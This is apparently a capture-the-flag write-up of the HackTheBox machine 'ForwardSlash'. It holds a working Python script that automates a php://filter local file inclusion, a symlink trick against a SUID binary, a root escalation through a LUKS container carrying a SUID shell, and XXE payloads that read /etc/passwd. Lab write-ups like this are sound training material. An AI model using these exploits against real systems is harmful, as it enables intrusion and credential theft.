Home HackTheBox - ForwardSlash
Post
Cancel

HackTheBox - ForwardSlash

This bos is a Hard level box from HackTheBox with Linux as OS. You need to start with a good enumeration to find the place to inject the payload. You get a LFI, you get a password from it, then you ssh as the initial user. Then you start enumerating the server to find another pass.

The root may envolve some kind of crypto, but I did it in an unintened way with luks container and dash suid.

The auto lfi is in the post.

Hope you enjoy!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B(forwardslash.htb)
    B --> |/etc/hosts| C[VHOST - FUZZ]
    C --> |dev| D
    C --> |LFI| D
    C --> |Python Script| D[Automated LFI]
    D --> |ssh chiv| E[backup suid]
    E --> |ssh pain| F[suid dash container]
    F --> H[root]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.183

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

We add forwardslash.htb to /etc/hosts

We try to open it on the browser

Vhost Fuzzing

Keep in mind that nmap returned a vhost, so possible we should have more, let’s use wfuzz to try to retrieve then

1
wfuzz -c -u 10.10.10.183 -H "Host: FUZZ.forwardslash.htb" --hh 0,422 -w subdomains-top1million-5000.txt 

We found one very interesting, the backup.forwardslash.htb

We add it to /etc/hosts

/backup

Ok, a login page

So we create a user in this page

Then we get logged in, and redirected to welcome.php

Gobuster, we run gobuster to see if we found more some page

1
gobuster dir -u http://backup.forwardslash.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50

Whops, we found a /dev folder, good.

Accessing /dev

We get access denied

LFI PoC

Sure, let’s continue enumerating this host

We found something interesting in the profilepicture.php

Seems that it’s disabled?! Ok, we send to burp to play arround.

We change GET to POST and pass url as data to see it it reach us

It reach us, but we cannot execute php script in it

Let’s try some kind of LFI, giving the files to be read

And it works!

When we try to read some config files, we got an error

How about applying some filters?

1
url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/index.php

Yes, this worked

Sure! How I’m a guy that like the things scripted and automated… Let’s automate the whole things now!

Auto LFI

We will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto read LFI Server - ForwardSlash - HackTheBox

import argparse
import requests
import sys
import base64
import re

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Base64 decode things
def b64d(s):
    return base64.b64decode(s).decode()

# First let's create the user
def createLogin():
    print("[+] Let's create an user !! [+]")
    url = "http://backup.forwardslash.htb:80/register.php"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"username": "0x4rt3mis", "password": "123456", "confirm_password": "123456"}
    r.post(url, headers=headers, data=data, proxies=proxies)
    print("[+] User Created !! [+]")
    
# Just login
def loginUser():
    print("[+] Just logging ! [+]")
    url = "http://backup.forwardslash.htb:80/login.php"
    data = {"username": "0x4rt3mis", "password": "123456"}
    r.post(url, cookies=r.cookies, data=data, proxies=proxies)
    print("[+] User Logged in !!! [+]")

def readFile():
    url = "http://backup.forwardslash.htb:80/profilepicture.php"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    print("[+] Just type exit to exit !!!! [+]")
    prefix = "Reading file: "
    file = ""
    while file != "exit":
        file = input(prefix)
        data = {"url": "php://filter/convert.base64-encode/resource=%s" %file}
        output = r.post(url,headers=headers,data=data,proxies=proxies)
        b64encoded = re.search('</html>\n+.*', output.text).group(0)
        if len(b64encoded) < 9:
            print("[+] File does NOT EXIST !!! Or I can't read it !!! [+]")
        else:
            b64encoded = b64encoded.removeprefix("</html>\n")
            print()
            print(b64d(b64encoded)) 
            print()
    
def main():
    '''Here we call the functions'''
    # Create user
    createLogin()
    # Login
    loginUser()
    # Read file
    readFile()
    
if __name__ == '__main__':
    main()

Great. Let’s start enumerating the file server

We get the /var/www/backup.forwardslash.htb/dev/index.php

And one password in it!!

And just SSH in

chiv –> pain

Let’s start our privilege escalation to become root. First we need to the the pain shell

We found a weird binary on the server with suid enabled

1
ls -l /usr/bin/backup

We just try to execute it, to see what happens

Just show me a md5?! hash…

After some researching we noticed with ltrace, that the hash is one time

Hummm…. the hash matches with the timestamp current time. So, to get this working, I need to generate a symlink to any file I want to read using the MD5 hash of the current time.

Got from rootflag.

1
2
3
t="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
ln -s /var/backups/config.php.bak /home/chiv/$t
backup

The “t” is our time and md5sum it, then is generated a symlink to any file I want then execute then I run backup, and the symlink gives me the output I want

Then we get the password

And su pain

I found this file looking for files owned by pain

And this .bak is very interesting!

pain –> root

Now, let’s become root.

We see some interesting files on the home pain folder

We see our sudo -l too

I’m not going to use crypto to make this challenge, my crypto skills are very bad. I’ll use the method used by the snowscan to get the root flag. We can open and mount luks containers, we can make a suid dash and put it on the luks, and then execute it.

Create an empty virtual disk

1
dd if=/dev/zero of=luksvolume1 bs=1M count=64

Format and encrypt with luks, any password

1
cryptsetup -vy luksFormat luksvolume1

Open the encrypted container

1
cryptsetup luksOpen luksvolume1 myluksvol1

Create a ext4 filesystem for it

1
mkfs.ext4 /dev/mapper/myluksvol1

Mount, copy a suid bash to it

1
2
3
4
mount /dev/mapper/myluksvol1 /mnt
cp /bin/bash /mnt
chmod u+s /mnt/dash
ls -l /mnt

Just copy the container to the server

1
2
scp luksvolume1 pain@10.10.10.183:/tmp
Password: db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704

Now, just mount it

1
2
3
4
mkdir mnt
sudo /sbin/cryptsetup luksOpen luksvolume1 backup
sudo /bin/mount /dev/mapper/backup ./mnt/
mnt/dash -p

Source Code Analysis

Let’s make our source code analysis

1
rsync -azP root@10.10.10.183:/var/www/* .

In the profilepictures.php

First it test if the url data is setted, if it is setted then redirect to api.php, which I’ll explain now.

The api.php give a file_get_contents on the file we send as url param. That’s the way the LFI works. Here we see the message error we got too.

We can see the www-data password too

When I was looking at dev folder, we read the index.php

And see that if the username is admin, the response is other than error 403.

This page will be displayed

We can see if there is a username admin

We create a user admin

We login as admin

And access /dev

The page is different as expected

We send the request to the server

And get it in Burp. We saw on the code that it must be GET param to be renderized by the server, and it’s double url encoded.

So it’s probably vulnerable to XEE, we adapt it with the payload in payloadallthethings

1
2
3
4
5
6
7
<!DOCTYPE api [
  <!ELEMENT api ANY>
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<api>
    <request>&file;</request>
</api>

And we get the files from there

We can get the same way as we did before, with base64

1
2
3
4
5
6
7
<!DOCTYPE api [
  <!ELEMENT api ANY>
  <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<api>
    <request>&file;</request>
</api>

This post is licensed under CC BY 4.0 by the author.